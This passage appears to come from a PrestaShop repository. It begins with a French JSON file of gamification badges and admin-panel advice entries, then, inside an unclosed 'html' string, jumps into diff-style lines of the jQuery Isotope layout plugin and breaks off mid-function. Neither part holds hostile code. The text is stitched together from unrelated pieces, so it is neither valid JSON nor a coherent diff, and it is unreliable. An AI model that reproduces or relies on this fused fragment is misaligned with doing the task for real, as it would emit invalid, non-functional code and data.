fonctionnalit\u00e9 du multi-boutiques.","group_name":"Multi-boutiques"},{"id_ps_badge":"27","name":"Solutions de transport","description":"Vous proposez 3 solutions de livraison diff\u00e9rentes (transporteurs) \u00e0 vos clients.","group_name":"Solutions de transport"},{"id_ps_badge":"28","name":"Moyens de paiement","description":"Vous offrez 3 m\u00e9thodes de paiement diff\u00e9rentes \u00e0 vos clients.","group_name":"Moyens de paiement"},{"id_ps_badge":"29","name":"Chiffre d'affaires","description":"Vous remportez ce badge lorsque vous atteignez un chiffre d'affaires de 100 EUR.","group_name":"Chiffre d'affaires"},{"id_ps_badge":"30","name":"Chiffre d'affaires","description":"Vous remportez ce badge lorsque vous atteignez un chiffre d'affaires de 1000 EUR.","group_name":"Chiffre d'affaires"},{"id_ps_badge":"31","name":"Chiffre d'affaires","description":"Vous remportez ce badge lorsque vous atteignez un chiffre d'affaires de 10 000 EUR.","group_name":"Chiffre d'affaires"},{"id_ps_badge":"32","name":"Chiffre d'affaires","description":"Vous remportez ce badge lorsque vous atteignez un chiffre d'affaires de 100 000 EUR.","group_name":"Chiffre d'affaires"},{"id_ps_badge":"33","name":"Chiffre d'affaires","description":"Vous remportez ce badge lorsque vous atteignez un chiffre d'affaires de 1 000 000 EUR","group_name":"Chiffre d'affaires"},{"id_ps_badge":"34","name":"Chiffre d'affaires","description":"Vous remportez ce badge lorsque vous atteignez un chiffre d'affaires de 10 000 000 EUR.","group_name":"Chiffre d'affaires"},{"id_ps_badge":"35","name":"Exp\u00e9rience","description":"D\u00e9j\u00e0 un mois que vous avez install\u00e9 PrestaShop !","group_name":"Exp\u00e9rience"},{"id_ps_badge":"36","name":"Exp\u00e9rience","description":"Vous avez install\u00e9 PrestaShop il y a 6 mois !","group_name":"Exp\u00e9rience"},{"id_ps_badge":"37","name":"Exp\u00e9rience","description":"Vous avez install\u00e9 PrestaShop il y a un an !","group_name":"Exp\u00e9rience"},{"id_ps_badge":"38","name":"Exp\u00e9rience","description":"Vous avez install\u00e9 PrestaShop il y a deux ans !","group_name":"Exp\u00e9rience"},{"id_ps_badge":"39","name":"Visiteurs","description":"Vous avez accueilli 10 visiteurs !","group_name":"Visiteurs"},{"id_ps_badge":"40","name":"Visiteurs","description":"Vous avez accueilli 100 visiteurs !","group_name":"Visiteurs"},{"id_ps_badge":"41","name":"Visiteurs","description":"Vous avez accueilli 1 000 visiteurs !","group_name":"Visiteurs"},{"id_ps_badge":"42","name":"Visiteurs","description":"Vous avez accueilli 10 000 visiteurs !","group_name":"Visiteurs"},{"id_ps_badge":"43","name":"Visiteurs","description":"Vous avez accueilli 100 000 visiteurs !","group_name":"Visiteurs"},{"id_ps_badge":"44","name":"Visiteurs","description":"Vous avez accueilli un million de visiteurs !","group_name":"Visiteurs"},{"id_ps_badge":"45","name":"Paniers","description":"2 paniers ont \u00e9t\u00e9 cr\u00e9\u00e9s par vos visiteurs.","group_name":"Paniers"},{"id_ps_badge":"46","name":"Paniers","description":"10 paniers ont \u00e9t\u00e9 cr\u00e9\u00e9s par vos visiteurs.","group_name":"Paniers"},{"id_ps_badge":"47","name":"Paniers","description":"100 paniers ont \u00e9t\u00e9 cr\u00e9\u00e9s par vos visiteurs.","group_name":"Paniers"},{"id_ps_badge":"48","name":"Paniers","description":"1 000 paniers ont \u00e9t\u00e9 cr\u00e9\u00e9s par vos visiteurs.","group_name":"Paniers"},{"id_ps_badge":"49","name":"Paniers","description":"10 000 paniers ont \u00e9t\u00e9 cr\u00e9\u00e9s par vos visiteurs.","group_name":"Paniers"},{"id_ps_badge":"50","name":"Paniers","description":"100 000 paniers ont \u00e9t\u00e9 cr\u00e9\u00e9s par vos visiteurs.","group_name":"Paniers"},{"id_ps_badge":"51","name":"Commandes","description":"Vous avez re\u00e7u votre premi\u00e8re commande.","group_name":"Commandes"},{"id_ps_badge":"52","name":"Commandes","description":"10 commandes ont \u00e9t\u00e9 pass\u00e9es sur votre boutique.","group_name":"Commandes"},{"id_ps_badge":"53","name":"Commandes","description":"100 commandes ont \u00e9t\u00e9 pass\u00e9es sur votre boutique.","group_name":"Commandes"},{"id_ps_badge":"54","name":"Commandes","description":"1 000 commandes ont \u00e9t\u00e9 pass\u00e9es sur votre boutique. Bravo !","group_name":"Commandes"},{"id_ps_badge":"55","name":"Commandes","description":"10 000 commandes ont \u00e9t\u00e9 pass\u00e9es sur votre boutique, f\u00e9licitations !","group_name":"Commandes"},{"id_ps_badge":"56","name":"Commandes","description":"100 000 commandes ont \u00e9t\u00e9 pass\u00e9es sur votre boutique.","group_name":"Commandes"},{"id_ps_badge":"57","name":"Messages Clients","description":"Vous avez re\u00e7u votre premier message client.","group_name":"Messages Clients"},{"id_ps_badge":"58","name":"Messages Clients","description":"Vous avez re\u00e7u 10 messages clients.","group_name":"Messages Clients"},{"id_ps_badge":"59","name":"Messages Clients","description":"Vous avez re\u00e7u 100 messages clients.","group_name":"Messages Clients"},{"id_ps_badge":"60","name":"Messages Clients","description":"Vous avez re\u00e7u 1 000 messages clients.","group_name":"Messages Clients"},{"id_ps_badge":"61","name":"Messages Clients","description":"Vous avez re\u00e7u 10 000 messages clients.","group_name":"Messages Clients"},{"id_ps_badge":"62","name":"Messages Clients","description":"Vous avez re\u00e7u 100 000 messages clients.","group_name":"Messages Clients"},{"id_ps_badge":"63","name":"Clients","description":"Votre premier client vient de s'inscrire \u00e0 votre boutique !","group_name":"Clients"},{"id_ps_badge":"64","name":"Clients","description":"Vous avez plus de 10 clients inscrits sur votre boutique.","group_name":"Clients"},{"id_ps_badge":"65","name":"Clients","description":"Vous avez plus de 100 clients inscrits sur votre boutique.","group_name":"Clients"},{"id_ps_badge":"66","name":"Clients","description":"Vous avez plus de 1 000 clients inscrits sur votre boutique.","group_name":"Clients"},{"id_ps_badge":"67","name":"Clients","description":"Vous avez plus de 10 000 clients inscrits sur votre boutique.","group_name":"Clients"},{"id_ps_badge":"68","name":"Clients","description":"Vous avez plus de 100 000 clients inscrits sur votre boutique.","group_name":"Clients"},{"id_ps_badge":"69","name":"Europe de l'Ouest","description":"Vous avez r\u00e9alis\u00e9 votre premi\u00e8re vente en Europe de l'Ouest !","group_name":"Europe de l'Ouest"},{"id_ps_badge":"70","name":"Europe du Sud","description":"Vous avez r\u00e9alis\u00e9 votre premi\u00e8re vente en Europe du Sud !","group_name":"Europe du Sud"},{"id_ps_badge":"71","name":"Europe de l'Est","description":"Vous avez r\u00e9alis\u00e9 votre premi\u00e8re vente en Europe de l'Est !","group_name":"Europe de l'Est"},{"id_ps_badge":"72","name":"Europe Centrale","description":"Vous avez r\u00e9alis\u00e9 votre premi\u00e8re vente en Europe Centrale !","group_name":"Europe Centrale"},{"id_ps_badge":"73","name":"Europe du Nord","description":"Vous avez r\u00e9alis\u00e9 votre premi\u00e8re vente en Europe du Nord !","group_name":"Europe du Nord"},{"id_ps_badge":"74","name":"Am\u00e9rique du Nord","description":"Vous avez r\u00e9alis\u00e9 votre premi\u00e8re vente en Am\u00e9rique du Nord","group_name":"Am\u00e9rique du Nord"},{"id_ps_badge":"75","name":"Oc\u00e9anie","description":"Vous avez r\u00e9alis\u00e9 votre premi\u00e8re vente en Oc\u00e9anie","group_name":"Oc\u00e9anie"},{"id_ps_badge":"83","name":"Asie","description":"Vous avez r\u00e9alis\u00e9 votre premi\u00e8re vente en Asie","group_name":"Asie"},{"id_ps_badge":"84","name":"Am\u00e9rique du Sud","description":"Vous avez r\u00e9alis\u00e9 votre premi\u00e8re vente en Am\u00e9rique du Sud","group_name":"Am\u00e9rique du Sud"},{"id_ps_badge":"86","name":"Afrique","description":"Vous avez r\u00e9alis\u00e9 votre premi\u00e8re vente en Afrique","group_name":"Afrique"},{"id_ps_badge":"87","name":"Maghreb","description":"Vous avez r\u00e9alis\u00e9 votre premi\u00e8re vente au Maghreb","group_name":"Maghreb"},{"id_ps_badge":"88","name":"Equipe","description":"1er compte d'employ\u00e9 ajout\u00e9 \u00e0 votre boutique","group_name":"Equipe"},{"id_ps_badge":"89","name":"Equipe","description":"3 comptes d'employ\u00e9 ajout\u00e9s \u00e0 votre boutique","group_name":"Equipe"},{"id_ps_badge":"90","name":"Equipe","description":"5 comptes d'employ\u00e9 ajout\u00e9s \u00e0 votre boutique","group_name":"Equipe"},{"id_ps_badge":"91","name":"Equipe","description":"10 comptes d'employ\u00e9 ajout\u00e9s \u00e0 votre boutique","group_name":"Equipe"},{"id_ps_badge":"92","name":"Equipe","description":"20 comptes d'employ\u00e9 ajout\u00e9s \u00e0 votre boutique","group_name":"Equipe"},{"id_ps_badge":"93","name":"Equipe","description":"40 comptes d'employ\u00e9 ajout\u00e9s \u00e0 votre boutique","group_name":"Equipe"},{"id_ps_badge":"94","name":"Photos produits","description":"1re photo de produits ajout\u00e9e \u00e0 votre catalogue","group_name":"Photos produits"},{"id_ps_badge":"95","name":"Photos produits","description":"50 photos de produits ajout\u00e9es \u00e0 votre catalogue","group_name":"Photos produits"},{"id_ps_badge":"96","name":"Photos produits","description":"100 photos de produits ajout\u00e9es \u00e0 votre catalogue","group_name":"Photos produits"},{"id_ps_badge":"97","name":"Photos produits","description":"1 000 photos de produits ajout\u00e9es \u00e0 votre catalogue","group_name":"Photos produits"},{"id_ps_badge":"98","name":"Photos produits","description":"10 000 photos de produits ajout\u00e9es \u00e0 votre catalogue","group_name":"Photos produits"},{"id_ps_badge":"99","name":"Photos produits","description":"50 000 photos de produits ajout\u00e9es \u00e0 votre catalogue","group_name":"Photos produits"},{"id_ps_badge":"100","name":"Personnalisation","description":"1re page CMS ajout\u00e9e \u00e0 votre catalogue","group_name":"Personnalisation"},{"id_ps_badge":"101","name":"R\u00e8gles panier","description":"1re r\u00e8gle de promotion configur\u00e9e sur votre boutique","group_name":"R\u00e8gles panier"},{"id_ps_badge":"102","name":"R\u00e8gles panier","description":"Vous avez 10 r\u00e8gles de promotion configur\u00e9es sur votre boutique","group_name":"R\u00e8gles panier"},{"id_ps_badge":"103","name":"R\u00e8gles panier","description":"Vous avez 100 r\u00e8gles de promotion configur\u00e9es sur votre boutique","group_name":"R\u00e8gles panier"},{"id_ps_badge":"104","name":"R\u00e8gles panier","description":"Vous avez 500 r\u00e8gles de promotion configur\u00e9es sur votre boutique","group_name":"R\u00e8gles panier"},{"id_ps_badge":"105","name":"R\u00e8gles panier","description":"Vous avez 1 000 r\u00e8gles de promotion configur\u00e9es sur votre boutique","group_name":"R\u00e8gles panier"},{"id_ps_badge":"106","name":"R\u00e8gles panier","description":"Vous avez 5 000 r\u00e8gles de promotion configur\u00e9es sur votre boutique","group_name":"R\u00e8gles panier"},{"id_ps_badge":"107","name":"Commandes \u00e0 l'\u00e9tranger","description":"Premi\u00e8re commande pass\u00e9e par un client international sur votre boutique.","group_name":"Commandes \u00e0 l'\u00e9tranger"},{"id_ps_badge":"108","name":"Commandes \u00e0 l'\u00e9tranger","description":"10 commandes pass\u00e9es par des clients internationaux sur votre boutique.","group_name":"Commandes \u00e0 l'\u00e9tranger"},{"id_ps_badge":"109","name":"Commandes \u00e0 l'\u00e9tranger","description":"100 commandes pass\u00e9es par des clients internationaux sur votre boutique !","group_name":"Commandes \u00e0 l'\u00e9tranger"},{"id_ps_badge":"110","name":"Commandes \u00e0 l'\u00e9tranger","description":"1 000 commandes pass\u00e9es par des clients internationaux sur votre boutique !","group_name":"Commandes \u00e0 l'\u00e9tranger"},{"id_ps_badge":"111","name":"Commandes \u00e0 l'\u00e9tranger","description":"5 000 commandes pass\u00e9es par des clients internationaux sur votre boutique !","group_name":"Commandes \u00e0 l'\u00e9tranger"},{"id_ps_badge":"112","name":"Commandes \u00e0 l'\u00e9tranger","description":"10 000 commandes pass\u00e9es par des clients internationaux sur votre boutique","group_name":"Commandes \u00e0 l'\u00e9tranger"},{"id_ps_badge":"113","name":"Boutique Physique","description":"Premier magasin configur\u00e9 sur votre boutique","group_name":"Boutique Physique"},{"id_ps_badge":"114","name":"Boutique Physique","description":"Vous avez 2 magasins configur\u00e9s sur votre boutique","group_name":"Boutique Physique"},{"id_ps_badge":"115","name":"Boutique Physique","description":"Vous avez 5 magasins configur\u00e9s sur votre boutique","group_name":"Boutique Physique"},{"id_ps_badge":"116","name":"Boutique Physique","description":"Vous avez 10 magasins configur\u00e9s sur votre boutique","group_name":"Boutique Physique"},{"id_ps_badge":"117","name":"Boutique Physique","description":"Vous avez 20 magasins configur\u00e9s sur votre boutique","group_name":"Boutique Physique"},{"id_ps_badge":"118","name":"Boutique Physique","description":"Vous avez 50 magasins configur\u00e9s sur votre boutique","group_name":"Boutique Physique"},{"id_ps_badge":"119","name":"Webservice x1","description":"1er compte webservice ajout\u00e9 \u00e0 votre boutique\r\n","group_name":"WebService"},{"id_ps_badge":"120","name":"Webservice x2","description":"2 comptes webservice ajout\u00e9s \u00e0 votre boutique","group_name":"WebService"},{"id_ps_badge":"121","name":"Webservice x3","description":"3 comptes webservice ajout\u00e9s \u00e0 votre boutique","group_name":"WebService"},{"id_ps_badge":"122","name":"Webservice x4","description":"4 comptes webservice ajout\u00e9s \u00e0 votre boutique","group_name":"WebService"}],"advices":[{"name":"Addons CGV","module_name":null,"weight":"1","location":"after","selector":".toolbarHead:first","active":true,"start_day":"0","stop_day":"0","start_date":"0000-00-00 00:00:00","stop_date":"0000-00-00 00:00:00","first_online_date":"2014-05-23 17:49:41","tabs":["AdminCmsContent"],"tab":"AdminCmsContent","display_conditions":["134"],"hide_conditions":["40"],"id_ps_advice":"13"},{"name":"Expeditor Inet","module_name":"","weight":"1","location":"before","selector":".leadin:first","active":true,"start_day":"0","stop_day":"0","start_date":"0000-00-00 00:00:00","stop_date":"0000-00-00 00:00:00","first_online_date":"2014-09-03 16:41:07","tabs":["AdminOrders"],"tab":"AdminOrders","display_conditions":["131"],"hide_conditions":["40","135"],"id_ps_advice":"14"},{"name":"American Express","module_name":null,"weight":"1","location":"before","selector":"#configuration_form:first","active":true,"start_day":"0","stop_day":"0","start_date":"0000-00-00 00:00:00","stop_date":"0000-00-00 00:00:00","first_online_date":"2014-05-23 17:49:41","tabs":["AdminLocalization"],"tab":"AdminLocalization","display_conditions":["19"],"hide_conditions":[],"id_ps_advice":"374"},{"name":"Amex","module_name":null,"weight":"1","location":"before","selector":".leadin:first","active":true,"start_day":"0","stop_day":"0","start_date":"0000-00-00 00:00:00","stop_date":"0000-00-00 00:00:00","first_online_date":"2014-07-03 10:24:32","tabs":["AdminCurrencies","AdminCustomerPreferences","AdminLocalization"],"tab":"AdminCurrencies","display_conditions":["19"],"hide_conditions":["40"],"id_ps_advice":"403"},{"name":"Shopgate","module_name":null,"weight":"1","location":"before","selector":"#theme_toolbar, #theme_form","active":true,"start_day":"0","stop_day":"0","start_date":"0000-00-00 00:00:00","stop_date":"0000-00-00 00:00:00","first_online_date":"2014-08-07 17:37:24","tabs":["AdminThemes"],"tab":"AdminThemes","display_conditions":["321"],"hide_conditions":["320"],"id_ps_advice":"466"},{"name":"Shopping flux","module_name":null,"weight":"1","location":"before","selector":".leadin:first","active":true,"start_day":"0","stop_day":"0","start_date":"0000-00-00 00:00:00","stop_date":"0000-00-00 00:00:00","first_online_date":"2014-08-07 17:38:52","tabs":["AdminProducts"],"tab":"AdminProducts","display_conditions":["324","399"],"hide_conditions":["323"],"id_ps_advice":"469"},{"name":"TNT Express","module_name":null,"weight":"1","location":"before","selector":".toolbar-placeholder:eq(0), #form-carrier, #carrier, #product, #form-product","active":true,"start_day":"0","stop_day":"0","start_date":"2014-07-23 00:00:00","stop_date":"2015-04-30 00:00:00","first_online_date":"2014-08-27 18:29:33","tabs":["AdminCarriers","AdminProducts"],"tab":"AdminCarriers","display_conditions":["12","117"],"hide_conditions":["335"],"id_ps_advice":"481"}],"advices_lang":[{"id_ps_advice":"13","html":"

          ') + .appendTo('head'), + $div = $('
          ').appendTo('html'); + + test = $div.height() === 3; + + $div.remove(); + $style.remove(); + } + return test; + }, + + csstransitions: function() { + return !!transitionProp; + } + }; + + var testName; + + if ( Modernizr ) { + // if there's a previous Modernzir, check if there are necessary tests + for ( testName in tests) { + if ( !Modernizr.hasOwnProperty( testName ) ) { + // if test hasn't been run, use addTest to run it + Modernizr.addTest( testName, tests[ testName ] ); + } + } + } else { + // or create new mini Modernizr that just has the 3 tests + Modernizr = window.Modernizr = { + _version : '1.6ish: miniModernizr for Isotope' + }; + + var classes = ' '; + var result; + + // Run through tests + for ( testName in tests) { + result = tests[ testName ](); + Modernizr[ testName ] = result; + classes += ' ' + ( result ? '' : 'no-' ) + testName; + } + + // Add the new classes to the element. + $('html').addClass( classes ); + } + + + // ========================= isoTransform =============================== + + /** + * provides hooks for .css({ scale: value, translate: [x, y] }) + * Progressively enhanced CSS transforms + * Uses hardware accelerated 3D transforms for Safari + * or falls back to 2D transforms. + */ + + if ( Modernizr.csstransforms ) { + + // i.e. transformFnNotations.scale(0.5) >> 'scale3d( 0.5, 0.5, 1)' + var transformFnNotations = Modernizr.csstransforms3d ? + { // 3D transform functions + translate : function ( position ) { + return 'translate3d(' + position[0] + 'px, ' + position[1] + 'px, 0) '; + }, + scale : function ( scale ) { + return 'scale3d(' + scale + ', ' + scale + ', 1) '; + } + } : + { // 2D transform functions + translate : function ( position ) { + return 'translate(' + position[0] + 'px, ' + position[1] + 'px) '; + }, + scale : function ( scale ) { + return 'scale(' + scale + ') '; + } + } + ; + + var setIsoTransform = function ( elem, name, value ) { + // unpack current transform data + var data = $.data( elem, 'isoTransform' ) || {}, + newData = {}, + fnName, + transformObj = {}, + transformValue; + + // i.e. newData.scale = 0.5 + newData[ name ] = value; + // extend new value over current data + $.extend( data, newData ); + + for ( fnName in data ) { + transformValue = data[ fnName ]; + transformObj[ fnName ] = transformFnNotations[ fnName ]( transformValue ); + } + + // get proper order + // ideally, we could loop through this give an array, but since we only have + // a couple transforms we're keeping track of, we'll do it like so + var translateFn = transformObj.translate || '', + scaleFn = transformObj.scale || '', + // sorting so translate always comes first + valueFns = translateFn + scaleFn; + + // set data back in elem + $.data( elem, 'isoTransform', data ); + + // set name to vendor specific property + elem.style[ transformProp ] = valueFns; + }; + + // ==================== scale =================== + + $.cssNumber.scale = true; + + $.cssHooks.scale = { + set: function( elem, value ) { + // uncomment this bit if you want to properly parse strings + // if ( typeof value === 'string' ) { + // value = parseFloat( value ); + // } + setIsoTransform( elem, 'scale', value ); + }, + get: function( elem, computed ) { + var transform = $.data( elem, 'isoTransform' ); + return transform && transform.scale ? transform.scale : 1; + } + }; + + $.fx.step.scale = function( fx ) { + $.cssHooks.scale.set( fx.elem, fx.now+fx.unit ); + }; + + + // ==================== translate =================== + + $.cssNumber.translate = true; + + $.cssHooks.translate = { + set: function( elem, value ) { + + // uncomment this bit if you want to properly parse strings + // if ( typeof value === 'string' ) { + // value = value.split(' '); + // } + // + // var i, val; + // for ( i = 0; i < 2; i++ ) { + // val = value[i]; + // if ( typeof val === 'string' ) { + // val = parseInt( val ); + // } + // } + + setIsoTransform( elem, 'translate', value ); + }, + + get: function( elem, computed ) { + var transform = $.data( elem, 'isoTransform' ); + return transform && transform.translate ? transform.translate : [ 0, 0 ]; + } + }; + + } + + // ========================= get transition-end event =============================== + var transitionEndEvent, transitionDurProp; + + if ( Modernizr.csstransitions ) { + transitionEndEvent = { + WebkitTransitionProperty: 'webkitTransitionEnd', // webkit + MozTransitionProperty: 'transitionend', + OTransitionProperty: 'oTransitionEnd otransitionend', + transitionProperty: 'transitionend' + }[ transitionProp ]; + + transitionDurProp = getStyleProperty('transitionDuration'); + } + + // ========================= smartresize =============================== + + /* + * smartresize: debounced resize event for jQuery + * + * latest version and complete README available on Github: + * https://github.com/louisremi/jquery.smartresize.js + * + * Copyright 2011 @louis_remi + * Licensed under the MIT license. + */ + + var $event = $.event, + dispatchMethod = $.event.handle ? 'handle' : 'dispatch', + resizeTimeout; + + $event.special.smartresize = { + setup: function() { + $(this).bind( "resize", $event.special.smartresize.handler ); + }, + teardown: function() { + $(this).unbind( "resize", $event.special.smartresize.handler ); + }, + handler: function( event, execAsap ) { + // Save the context + var context = this, + args = arguments; + + // set correct event type + event.type = "smartresize"; + + if ( resizeTimeout ) { clearTimeout( resizeTimeout ); } + resizeTimeout = setTimeout(function() { + $event[ dispatchMethod ].apply( context, args ); + }, execAsap === "execAsap"? 0 : 100 ); + } + }; + + $.fn.smartresize = function( fn ) { + return fn ? this.bind( "smartresize", fn ) : this.trigger( "smartresize", ["execAsap"] ); + }; + + + +// ========================= Isotope =============================== + + + // our "Widget" object constructor + $.Isotope = function( options, element, callback ){ + this.element = $( element ); + + this._create( options ); + this._init( callback ); + }; + + // styles of container element we want to keep track of + var isoContainerStyles = [ 'width', 'height' ]; + + var $window = $(window); + + $.Isotope.settings = { + resizable: true, + layoutMode : 'masonry', + containerClass : 'isotope', + itemClass : 'isotope-item', + hiddenClass : 'isotope-hidden', + hiddenStyle: { opacity: 0, scale: 0.001 }, + visibleStyle: { opacity: 1, scale: 1 }, + containerStyle: { + position: 'relative', + overflow: 'hidden' + }, + animationEngine: 'best-available', + animationOptions: { + queue: false, + duration: 800 + }, + sortBy : 'original-order', + sortAscending : true, + resizesContainer : true, + transformsEnabled: true, + itemPositionDataEnabled: false + }; + + $.Isotope.prototype = { + + // sets up widget + _create : function( options ) { + + this.options = $.extend( {}, $.Isotope.settings, options ); + + this.styleQueue = []; + this.elemCount = 0; + + // get original styles in case we re-apply them in .destroy() + var elemStyle = this.element[0].style; + this.originalStyle = {}; + // keep track of container styles + var containerStyles = isoContainerStyles.slice(0); + for ( var prop in this.options.containerStyle ) { + containerStyles.push( prop ); + } + for ( var i=0, len = containerStyles.length; i < len; i++ ) { + prop = containerStyles[i]; + this.originalStyle[ prop ] = elemStyle[ prop ] || ''; + } + // apply container style from options + this.element.css( this.options.containerStyle ); + + this._updateAnimationEngine(); + this._updateUsingTransforms(); + + // sorting + var originalOrderSorter = { + 'original-order' : function( $elem, instance ) { + instance.elemCount ++; + return instance.elemCount; + }, + random : function() { + return Math.random(); + } + }; + + this.options.getSortData = $.extend( this.options.getSortData, originalOrderSorter ); + + // need to get atoms + this.reloadItems(); + + // get top left position of where the bricks should be + this.offset = { + left: parseInt( ( this.element.css('padding-left') || 0 ), 10 ), + top: parseInt( ( this.element.css('padding-top') || 0 ), 10 ) + }; + + // add isotope class first time around + var instance = this; + setTimeout( function() { + instance.element.addClass( instance.options.containerClass ); + }, 0 ); + + // bind resize method + if ( this.options.resizable ) { + $window.bind( 'smartresize.isotope', function() { + instance.resize(); + }); + } + + // dismiss all click events from hidden events + this.element.delegate( '.' + this.options.hiddenClass, 'click', function(){ + return false; + }); + + }, + + _getAtoms : function( $elems ) { + var selector = this.options.itemSelector, + // filter & find + $atoms = selector ? $elems.filter( selector ).add( $elems.find( selector ) ) : $elems, + // base style for atoms + atomStyle = { position: 'absolute' }; + + // filter out text nodes + $atoms = $atoms.filter( function( i, atom ) { + return atom.nodeType === 1; + }); + + if ( this.usingTransforms ) { + atomStyle.left = 0; + atomStyle.top = 0; + } + + $atoms.css( atomStyle ).addClass( this.options.itemClass ); + + this.updateSortData( $atoms, true ); + + return $atoms; + }, + + // _init fires when your instance is first created + // (from the constructor above), and when you + // attempt to initialize the widget again (by the bridge) + // after it has already been initialized. + _init : function( callback ) { + + this.$filteredAtoms = this._filter( this.$allAtoms ); + this._sort(); + this.reLayout( callback ); + + }, + + option : function( opts ){ + // change options AFTER initialization: + // signature: $('#foo').bar({ cool:false }); + if ( $.isPlainObject( opts ) ){ + this.options = $.extend( true, this.options, opts ); + + // trigger _updateOptionName if it exists + var updateOptionFn; + for ( var optionName in opts ) { + updateOptionFn = '_update' + capitalize( optionName ); + if ( this[ updateOptionFn ] ) { + this[ updateOptionFn ](); + } + } + } + }, + + // ====================== updaters ====================== // + // kind of like setters + + _updateAnimationEngine : function() { + var animationEngine = this.options.animationEngine.toLowerCase().replace( /[ _\-]/g, ''); + var isUsingJQueryAnimation; + // set applyStyleFnName + switch ( animationEngine ) { + case 'css' : + case 'none' : + isUsingJQueryAnimation = false; + break; + case 'jquery' : + isUsingJQueryAnimation = true; + break; + default : // best available + isUsingJQueryAnimation = !Modernizr.csstransitions; + } + this.isUsingJQueryAnimation = isUsingJQueryAnimation; + this._updateUsingTransforms(); + }, + + _updateTransformsEnabled : function() { + this._updateUsingTransforms(); + }, + + _updateUsingTransforms : function() { + var usingTransforms = this.usingTransforms = this.options.transformsEnabled && + Modernizr.csstransforms && Modernizr.csstransitions && !this.isUsingJQueryAnimation; + + // prevent scales when transforms are disabled + if ( !usingTransforms ) { + delete this.options.hiddenStyle.scale; + delete this.options.visibleStyle.scale; + } + + this.getPositionStyles = usingTransforms ? this._translate : this._positionAbs; + }, + + + // ====================== Filtering ====================== + + _filter : function( $atoms ) { + var filter = this.options.filter === '' ? '*' : this.options.filter; + + if ( !filter ) { + return $atoms; + } + + var hiddenClass = this.options.hiddenClass, + hiddenSelector = '.' + hiddenClass, + $hiddenAtoms = $atoms.filter( hiddenSelector ), + $atomsToShow = $hiddenAtoms; + + if ( filter !== '*' ) { + $atomsToShow = $hiddenAtoms.filter( filter ); + var $atomsToHide = $atoms.not( hiddenSelector ).not( filter ).addClass( hiddenClass ); + this.styleQueue.push({ $el: $atomsToHide, style: this.options.hiddenStyle }); + } + + this.styleQueue.push({ $el: $atomsToShow, style: this.options.visibleStyle }); + $atomsToShow.removeClass( hiddenClass ); + + return $atoms.filter( filter ); + }, + + // ====================== Sorting ====================== + + updateSortData : function( $atoms, isIncrementingElemCount ) { + var instance = this, + getSortData = this.options.getSortData, + $this, sortData; + $atoms.each(function(){ + $this = $(this); + sortData = {}; + // get value for sort data based on fn( $elem ) passed in + for ( var key in getSortData ) { + if ( !isIncrementingElemCount && key === 'original-order' ) { + // keep original order original + sortData[ key ] = $.data( this, 'isotope-sort-data' )[ key ]; + } else { + sortData[ key ] = getSortData[ key ]( $this, instance ); + } + } + // apply sort data to element + $.data( this, 'isotope-sort-data', sortData ); + }); + }, + + // used on all the filtered atoms + _sort : function() { + + var sortBy = this.options.sortBy, + getSorter = this._getSorter, + sortDir = this.options.sortAscending ? 1 : -1, + sortFn = function( alpha, beta ) { + var a = getSorter( alpha, sortBy ), + b = getSorter( beta, sortBy ); + // fall back to original order if data matches + if ( a === b && sortBy !== 'original-order') { + a = getSorter( alpha, 'original-order' ); + b = getSorter( beta, 'original-order' ); + } + return ( ( a > b ) ? 1 : ( a < b ) ? -1 : 0 ) * sortDir; + }; + + this.$filteredAtoms.sort( sortFn ); + }, + + _getSorter : function( elem, sortBy ) { + return $.data( elem, 'isotope-sort-data' )[ sortBy ]; + }, + + // ====================== Layout Helpers ====================== + + _translate : function( x, y ) { + return { translate : [ x, y ] }; + }, + + _positionAbs : function( x, y ) { + return { left: x, top: y }; + }, + + _pushPosition : function( $elem, x, y ) { + x = Math.round( x + this.offset.left ); + y = Math.round( y + this.offset.top ); + var position = this.getPositionStyles( x, y ); + this.styleQueue.push({ $el: $elem, style: position }); + if ( this.options.itemPositionDataEnabled ) { + $elem.data('isotope-item-position', {x: x, y: y} ); + } + }, + + + // ====================== General Layout ====================== + + // used on collection of atoms (should be filtered, and sorted before ) + // accepts atoms-to-be-laid-out to start with + layout : function( $elems, callback ) { + + var layoutMode = this.options.layoutMode; + + // layout logic + this[ '_' + layoutMode + 'Layout' ]( $elems ); + + // set the size of the container + if ( this.options.resizesContainer ) { + var containerStyle = this[ '_' + layoutMode + 'GetContainerSize' ](); + this.styleQueue.push({ $el: this.element, style: containerStyle }); + } + + this._processStyleQueue( $elems, callback ); + + this.isLaidOut = true; + }, + + _processStyleQueue : function( $elems, callback ) { + // are we animating the layout arrangement? + // use plugin-ish syntax for css or animate + var styleFn = !this.isLaidOut ? 'css' : ( + this.isUsingJQueryAnimation ? 'animate' : 'css' + ), + animOpts = this.options.animationOptions, + onLayout = this.options.onLayout, + objStyleFn, processor, + triggerCallbackNow, callbackFn; + + // default styleQueue processor, may be overwritten down below + processor = function( i, obj ) { + obj.$el[ styleFn ]( obj.style, animOpts ); + }; + + if ( this._isInserting && this.isUsingJQueryAnimation ) { + // if using styleQueue to insert items + processor = function( i, obj ) { + // only animate if it not being inserted + objStyleFn = obj.$el.hasClass('no-transition') ? 'css' : styleFn; + obj.$el[ objStyleFn ]( obj.style, animOpts ); + }; + + } else if ( callback || onLayout || animOpts.complete ) { + // has callback + var isCallbackTriggered = false, + // array of possible callbacks to trigger + callbacks = [ callback, onLayout, animOpts.complete ], + instance = this; + triggerCallbackNow = true; + // trigger callback only once + callbackFn = function() { + if ( isCallbackTriggered ) { + return; + } + var hollaback; + for (var i=0, len = callbacks.length; i < len; i++) { + hollaback = callbacks[i]; + if ( typeof hollaback === 'function' ) { + hollaback.call( instance.element, $elems, instance ); + } + } + isCallbackTriggered = true; + }; + + if ( this.isUsingJQueryAnimation && styleFn === 'animate' ) { + // add callback to animation options + animOpts.complete = callbackFn; + triggerCallbackNow = false; + + } else if ( Modernizr.csstransitions ) { + // detect if first item has transition + var i = 0, + firstItem = this.styleQueue[0], + testElem = firstItem && firstItem.$el, + styleObj; + // get first non-empty jQ object + while ( !testElem || !testElem.length ) { + styleObj = this.styleQueue[ i++ ]; + // HACK: sometimes styleQueue[i] is undefined + if ( !styleObj ) { + return; + } + testElem = styleObj.$el; + } + // get transition duration of the first element in that object + // yeah, this is inexact + var duration = parseFloat( getComputedStyle( testElem[0] )[ transitionDurProp ] ); + if ( duration > 0 ) { + processor = function( i, obj ) { + obj.$el[ styleFn ]( obj.style, animOpts ) + // trigger callback at transition end + .one( transitionEndEvent, callbackFn ); + }; + triggerCallbackNow = false; + } + } + } + + // process styleQueue + $.each( this.styleQueue, processor ); + + if ( triggerCallbackNow ) { + 